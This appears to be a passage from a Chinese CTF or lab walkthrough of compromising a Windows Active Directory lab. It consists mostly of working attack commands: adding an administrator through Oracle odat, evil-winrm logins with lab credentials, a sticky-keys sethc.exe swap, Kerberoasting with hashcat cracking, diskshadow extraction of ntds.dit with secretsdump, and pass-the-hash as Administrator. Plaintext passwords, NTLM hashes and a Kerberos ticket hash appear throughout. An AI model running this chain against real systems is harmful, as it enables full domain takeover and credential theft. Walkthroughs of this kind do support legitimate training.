proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4
XdsKf --sysdba --exec 'net user natro92 123qwe!@# /add'

1
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators natro92 /add'

rdp 上 31

flag03

刚才的 internal-secret 库里面有账号密码,里面就有XR-0923的。

XR-0923 | zhangshuai | wSbEajHzZs

因为是 Remote Desktop Users 和 Remote Management Use 组,所以可以用 winrm 登录。(5895 和 5896 端口开启)

1
proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

这里就多了一个还原文件和目录的SeRestorePrivilege的权限。直接 ACL 修改文件,编辑注册表。类似放大镜提权。这里直接将 cmd.exe 替换 sethc.exe 用粘滞键启用 sethc 提权。

1
2
3
cd C:\Windows\System32
ren sethc.exe sethc.bak
ren cmd.exe sethc.exe

flag04

加下账号。重新登陆。

这里猕猴桃是不是哪有问题。好像是版本有点低。上官网下个新版就 ok 了。

XR-0923$:53c5353a32ba2d549e236b1287a52bae

获取用户 SPN

1
GetUserSPNs.py -request -dc-ip 172.22.14.11 xiaorang.lab/XR-0923`$ -hashes :53c5353a32ba2d549e236b1287a52bae

1
$krb5tgs$23$*tianjing$XIAORANG.LAB$xiaorang.lab/tianjing*$9a058a65f1740380ff8c79d25be3aca0$fc1ddad4faa807fd4f10d5b9d37e78a5ba8e779be7cb2c6f11bf57921846b7f8b7286a9157b21f553563bb3aa29dc2df3cc3afb22c7384367022b2c3805a1976cff4f0c46082e50d686a9ab9f0cb14565f719abd5f0cb1205cc5a8e24d9a9290a1d59696192a60e40f35d0f2ce7c484bb2465c76c35e9d60aaf3e69995744aea1e912e14e937eeffe0db01fc78165781b493ef2ee77e346ff2e0eea413ed0dae140f3adf84b25ff095c2e2b417ff701ad0166e6d77869695e089d3facee41fcde92d61f47107266cf3245dc57c41faa785ee4003e111f543e41e0cc3de6e9012a9d39748b80476c2fe1e853f81936ecead2349682d73e7c0b3001069f24bd8a405374ad22dc92c09da60426cd92d84fe4fd732858e54036d82c707dca5e2bdedc1375e43fad5f34f9b94822821efa8b6c16bda5f49277ee466d61bc8ac460887cc83a2174e9e290da2b6f5e0464ab84c02d08ccbf32a38b95cf5beaf936bcd0d7e82138cfddecea2d63a2df3a966e5875a5ff5bf1742aa3f8252b31278c3dcba701d133baf5f298e0ff845bae0078fa2ff0ed923ec9855dad2842b20407044b5b648538d26977e428a937b44f13ba8942b7debf3a56e9d7271ebb6830dbb061905d328da35fbefbe9967f8f5d6ac392c5a819f5c072f7b1cd0ee09085b95867a6e46844f2b1823333d2ff5d993246f9faa484b3396ad96fea67fafdee4c1ea92ecf1352bdeadf69e63d18e5f2da1d3cd2700d9dd8491b67f7dc75936b595fd25949fee96df2c0ba9f4c62769f360f10c8516dd9f0f29936d8a0ebe9235c2eed2ed288269bf5ed9883a780150677b0bfe70840f39c43b4dd629e7a3789fdbb911d26c9bb785cf55c056ba59793f15a65a7f7c9333a47f3dc35ace9382f540300f3a94ce04e0ba00fd548fcb8dfcad60d919e6ddd51fc401dd8490878e9e264c9676286b9e8b390a5bf7968f2e1f16f3821b698803dd846f69d13447cf7a641f170611141696f087bb146d91a86ed04f2d5621f1bb0129e3eed820cec99285fce90a6ebc4ecc071df1b1158fa83993409ed96a737f7a797305bf7ac796363a63265767c4289e6eaa8184083551c46dfdbdb76debbdc73796c629184176f8ddceeeb581f5b17a313ae8c645fad38bbfe1c371928f48717f3847a902d3e04d7c38c2f2f531da0a5adba823dc0a4f97bf96639065d64e78feed347b00d0864a4914421c6039dabba11212ccf31fc5ca0374351684e2f3201185bb6dd37e7b49123ee6d52f19335c300fe38137281567bdfeb173614d6c15cb8779b5523fcf5ca0bda3fd63edb427da7cfceb8cf82096b85c536b13d372fd2e5b838dcf488839b4146db9119290150722fb827415bb8d03610101325fa93343be82b3003c6c716c9e0c2aaf2c3f53fe535d04848ca7525575493c32c2e57f292ec53755339475c745bf1db2e2a0e8a1cae96b78a6e71b89105d0ae655c18f

爆破

1
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

XIAORANG/tianjing:DPQSXSXgh2

1
proxychains evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2

只打过 administrators 组的 ntdsutil 的卷影拷贝,这里显然不能用。

[内网渗透]—卷影拷贝提取 ntds.dit-CSDN 博客

这里看下网上的 wp,本地先创建一个 raj.dsh 文件。写入这些内容

1
2
3
4
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

转下格式

unix2dos raj.dsh

1
diskshadow /s raj.dsh

复制到原地

1
2
RoboCopy /b z:\windows\ntds . ntds.dit
download ntds.dit

下载下来 sam。

1
2
reg save HKLM\SYSTEM system
download system

好慢。

1
secretsdump.py -ntds ntds.dit -system system local

解了之后拿到 Administrator 的 Hash

1
proxychains evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277"

总结

  • 非 Administrator 下的卷影拷贝
  • SeRestorePrivilege 提权
  • Jenkins RCE
  • gitlab api 利用